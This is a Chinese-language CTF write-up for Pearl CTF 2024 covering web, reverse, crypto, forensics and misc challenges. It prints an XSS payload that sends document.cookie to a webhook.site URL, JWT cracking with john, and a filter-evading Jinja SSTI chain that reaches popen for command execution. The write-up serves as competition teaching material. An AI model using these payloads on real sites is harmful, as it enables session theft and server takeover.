Pearl CTF 2024- CakeisTheFake - Writeup
Team : CakeisTheFake
Rank : 16/605
Web
learn HTTP
題目是一個web service,會把使用者丟進去的get參數在後端處理後變封包丟出來:
然後有個
/flag
的路徑會去驗證你的cookie,是的話才可以拿到flag。標準的XSS:
payload
1 | HTTP/1.1 200 OK |
變成URL ENCODE後:
1 | HTTP/1.1%20200%20OK%0D%0A%0D%0A%3Cscript%3Efetch(%22http://webhook.site/c9e321c1-b9d5-4b55-9d10-f1feec26a1d0?shark=%22%2Bdocument.cookie)%3C/script%3E |
在webhook拿到token:
token
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMDM5MjM5fQ.Pd53hD5jGx5GnHGYszpOUK8CjdLN3uUwXITubJrJ_kE |
接著將token丟進pass檔案並利用john
進行暴力破解:
Command
1 | john pass --wordlist=/home/kali/rockyou.txt |
根據觀察原始碼的結果,必須將id改為2
利用jwt.io配合john的結果將token算出來,造訪/flag
的路徑。
拿到flag XD
I am a web-noob
這裡可以SSTI
經過幾次嘗試發現他過濾很多東西,ex:{{
、_
、[
等
這裡你可以用一種方法來繞過filter來RCE
1 | ?user={%print(""|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(154))%}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__ |
等價
1 | ''.__class__.__base__.__subclasses__()[154] |
所以直接構造一個讀flag.txt的就好了
rabithole
去/robots.txt
會看到一條路徑
之後會看到/hardworking,可以發現他允許的有個奇怪的
改用這個直接去訪問
FLAG: pearl{c0ngr4t5_but_th1s_1s_just_th3_b3g1nn1ng}
payload
1 | ?user={%print((""|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(154)|attr(request.args.e)|attr(request.args.f)|attr(request.args.d)(request.args.g)(request.args.rce)).read())%}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&rce=cat /app/flag.txt |
FLAG: pearl{W4s_my_p4ge_s3cur3_en0ugh_f0r_y0u?}
reverse
input-validator
jadx reverse他
反著做
Script
1 | qq="oF/M5BK_U<rqxCf8zWCPC(RK,/B'v3uARD" |
not-so-easy
f()這個函式會使v1=0,所以如果我想知道正確的輸出,應該要先刪掉他
然後有兩百個檔案做兩百次
直接寫個腳本patch掉,反正就找到那個位置就可以了
1 | byte_address1 = 0x1154 |
手按200次gdb太累了,直接寫腳本
.gdb
1 | b *0x5555555551da |
.sh
1 | for((i=0;i<=199;i++)); |
FLAG: pearl{d1d_y0u_aut0m4t3_0r_4r3_y0u_h4rdw0rk1ng_?}
OSINT
1 | City -> "J": |
https://www.prokerala.com/pincode/india.html
之後直接暴力搜索看符合5x5x2x的pincode
FLAG: pearl{jagtial_telangana}
Crypto
3 spies
source.py
1 | #!/usr/bin/env python3 |
標準的 boardcast attack
直接在sage crt([c1, c2, c3],[n1, n2, n3])
算下去再開三次根號就好
得到urlhttps://pastes.io/1yjswxlvl2
頁面內容:
丟到解碼工具 CyberChef 得到結果是一張圖片檔案,下載後就拿到flagㄌ
flag
FLAG: pearl{gOOd_jOb_bu7_7h15_15_4_b4by_On3}
Baby’s Message Out
chall.py
1 | #!/usr/bin/env python3 |
簡單觀察,$n$會很接近$p*[(17p)(1729p^2)(17^229*p^3+p)]^2$
丟sage math:
1 | sage: P.<p>=PolynomialRing(Zmod(2**1000)) |
所以 $p^{13} \fallingdotseq \frac{n}{4933820698627921}$
撰寫腳本取逼近,成功得到$p$的值
1 | sage: ps=int(iroot(n//4933820698627921, 13)[0]) |
按照題目提供的函數算回去q, r, s, t
成功拿到flag :D
FLAG: pearl{4h1s_0n3_w4s_f0r_7h3_k1ds}
Security++
其實就是典型的Prepend Oracle…,但不知道為什麼做出來的人那麼少(
secure.py
1 | from flag import flag, key |
enc.py
1 | from copy import copy |
簡單來說,每16 BYTES一個塊,然後會把FLAG丟到你給的訊息最後面再加密,那不就是 Prepend Oracle 🫠
solution.py
1 | from pwn import * |
搞定XD
FLAG: pearl{n0y_sn34ky_A3S+3encrypt10n}
forensic
Excel-Mayhem
直接Ctrl+F 找
Flag: pearl{h3ll_0f_4n_3xc3l}
pcap-busterz-1
用wireshark打開他
用follow -> TCP stream找到了這個
看起來應該可以藉由座標跟顏色來畫出一張圖,直接寫腳本
Script
1 | data = ''' |
組出了QRcode,掃一下就可以了
Flag: pearl{QR_rev0lution1ses_mod3rn_data_handl1ng}
Misc
jail.py
1 | #!/usr/local/bin/python |
直接找UNICODE字元繞過檢查但是python還是會執行XD
payload
1 | 𝑓𝑙𝑎𝘨 |
後續:
1 | def attack(x): |
透過這個去做RCE XD
FLAG: pearl{it_w4s_t00_e4sy}
TooRandom
main.py
1 | from flask import Flask |
觀察結構,大概就是你會拿到624個數字,然後你要推出一開始的種子算出來的第1000000個數字是什麼。
此外,這題是以instance的方式出現,也就是說每個隊伍各自獨立的網站而且可以自由開啟和關閉。馬上開啟後叫隊友不要打最重要
為什麼這樣說呢?因為有個Curious那時候跟我同時在打,場面一度尷尬極了(
解法的話因為624個數字(還都是32 bits,超佛心),剛好就直接MT-19937的crack就好。
Script
1 | import requests as req |
附上很傷眼睛的登入結果
FLAG: pearl{r4nd0m_15_n0t_50_r4nd0m}